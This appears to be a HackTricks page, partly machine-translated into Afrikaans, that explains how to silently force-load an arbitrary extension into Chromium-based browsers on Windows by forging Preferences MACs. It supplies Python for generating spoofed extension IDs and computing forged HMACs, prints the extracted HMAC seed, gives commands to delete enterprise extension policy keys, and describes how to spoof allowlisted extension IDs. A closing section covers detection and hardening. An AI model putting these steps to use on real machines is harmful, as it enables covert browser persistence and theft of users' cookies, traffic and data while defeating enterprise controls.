Forced Extension Load & Preferences MAC Forgery (Windows)
Reading time: 8 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Oorsig
Sluipende post-exploitation tegniek om arbitrary extensions in Chromium-based browsers on Windows te force-load deur die gebruiker se Preferences/Secure Preferences te wysig en geldige HMACs vir die aangepaste nodes te vervals. Werk teen Chrome/Chromium, Edge, en Brave. Waargeneem dat dit van toepassing is op Chromium 130 tot 139 op die tydstip van publikasie. 'n Eenvoudige disk write primitive in die slagofferprofiel is voldoende om 'n volledig geprivilegieerde extension te volhard sonder command-line flags of gebruiker-opprompte.
Sleutelidee: Chromium stoor per-user extension state in 'n JSON preferences-lĂȘer en beskerm dit met HMAC-SHA256. As jy geldige MACs bereken met die browser se ingebedde seed en dit langs jou ingespuit nodes skryf, aanvaar die browser dit en aktiveer jou extension entry.
Waar extension state lĂȘ (Windows)
- Nie-domeingekoppelde Chrome-profiel:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (bevat 'n root "super_mac").
- Domeingekoppelde Chrome-profiel:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
- Sleutelnodes wat deur Chromium gebruik word:
- extensions.settings.<extension_id> â ingeslote manifest/metadata vir die extension entry
- protection.macs.extensions.settings.<extension_id> â HMAC vir daardie JSON blob
- Chromium â„134: extensions.ui.developer_mode (boolean) moet teenwoordig en MACâgesigneer wees vir unpacked extensions om te aktiveer
Vereenvoudigde skema (illustratief):
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}
Aantekeninge:
- Edge/Brave handhaaf soortgelyke strukture. Die protection seed-waarde kan verskil (Edge/Brave is in sommige builds waargeneem om 'n null/ander seed te gebruik).
Uitbreidings-ID's: pad vs sleutel en hoe om dit deterministies te maak
Chromium lei die uitbreidings-ID soos volg af:
- Gepakte/ondertekende uitbreiding: ID = SHAâ256 over DERâencoded SubjectPublicKeyInfo (SPKI) â take first 32 hex chars â map 0âf to aâp
- Ongpak (geen 'key' in manifest): ID = SHAâ256 over the absolute installation path bytes â map 0âf to aâp
Om 'n stabiele ID oor verskeie hosts te behou, embed 'n vaste base64 DER publieke sleutel in manifest.json onder "key". Die ID sal van hierdie sleutel afgelei word in plaas van van die installasiepad.
Hulp om 'n deterministiese ID en 'n sleutelpaar te genereer:
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)
def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64
print(generate_extension_keys())
Voeg die gegenereerde publieke sleutel by jou manifest.json om die ID te vergrendel:
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}
Vervalsing van Voorkeure-integriteits-MACs (kern-omseiling)
Chromium beskerm voorkeure met HMACâSHA256 oor "path" + die geserialiseerde JSON-waarde van elke node. Die HMAC-seed is ingebed in die browser se resources.pak en was steeds geldig tot en met Chromium 139.
Onttrek die seed met GRIT pak_util en lokaliseer die seed-container (file id 146 in getoetste builds):
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
Bereken MACs (heksadesimaal in hoofletters) soos:
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))
Minimale Python-voorbeeld:
import json, hmac, hashlib
def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
Skryf die waardes onder:
- protection.macs.extensions.settings.<crx_id> = ext_mac
- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium â„134)
Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.
Implementasietips
- Use exactly the same JSON serialization Chromium uses when computing MACs (compact JSON without whitespace is safe in practice; sorting keys may help avoid ordering issues).
- Ensure extensions.ui.developer_mode exists and is signed on Chromium â„134, or your unpacked entry wonât activate.
Endâtoâend silent load flow (Windows)
- Generate a deterministic ID and embed "key" in manifest.json; prepare an unpacked MV3 extension with desired permissions (service worker/content scripts)
- Create extensions.settings.
by embedding the manifest and minimal install metadata required by Chromium (state, path for unpacked, etc.) - Extract the HMAC seed from resources.pak (file 146) and compute two MACs: one for the settings node and one for extensions.ui.developer_mode (Chromium â„134)
- Write the crafted nodes and MACs into the target profileâs Preferences/Secure Preferences; next launch will autoâactivate your extension with full declared privileges
Omseil van enterprise-beheer
- Whitelisted extension hash spoofing (ID spoofing)
- Install an allowed Web Store extension and note its ID
- Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx)
- Set that key as manifest.key in your modified extension to reproduce the same ID
- Register the entry in Preferences and sign the MACs â ExtensionInstallAllowlist checks that match on ID only are bypassed
-
Extension stomping (ID collision precedence)
-
If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF)
-
Neutralizing GPO via HKCU (requires admin)
-
Chrome/Edge policies live under HKCU\Software\Policies*
-
With admin rights, delete/modify policy keys before writing your entries to avoid blocks:
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
Luidrugtige terugval: command-line laai
Vanaf Chromium â„137 vereis --load-extension ook dat jy die volgende deurgee:
--disable-features=DisableLoadExtensionCommandLineSwitch
This approach is widely known and monitored (e.g., by EDR/DFIR; used by commodity malware like Chromeloader). Preference MAC forging is meer onopvallend.
Related flags and more crossâplatform tricks are discussed here:
Operational impact
Sodra dit aanvaar is, voer die extension uit met sy verklaarde permissies, wat DOM-toegang, request interception/redirects, cookie/storage-toegang en screenshot capture moontlik maakâdit beteken effektiewe inâbrowser codeâuitvoering en volhoubare gebruikersprofielâpersistensie. Afstandsimplementering oor SMB of ander kanale is eenvoudig omdat aktivering dataâgedrewe via Preferences geskied.
Detection and hardening
- Monitor vir nieâChromiumâprosesse wat in Preferences/Secure Preferences skryf, veral nuwe nodes onder extensions.settings wat saamval met protection.macs entries
- Waarsku oor onverwagte omskakeling van extensions.ui.developer_mode en oor HMACâgeldige maar nieâgoedgekeurde extension entries
- Kontroleer HKCU/HKLM Software\Policies vir knoeiing; dwing policies af via device management/Chrome Browser Cloud Management
- Gee voorkeur aan forcedâinstall vanaf die store met geverifieerde publishers eerder as allowlists wat slegs op extension ID pas
References
- The Phantom Extension: Backdooring chrome through uncharted pathways
- pak_util.py (GRIT)
- SecurePreferencesFile (prior research on HMAC seed)
- CursedChrome
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.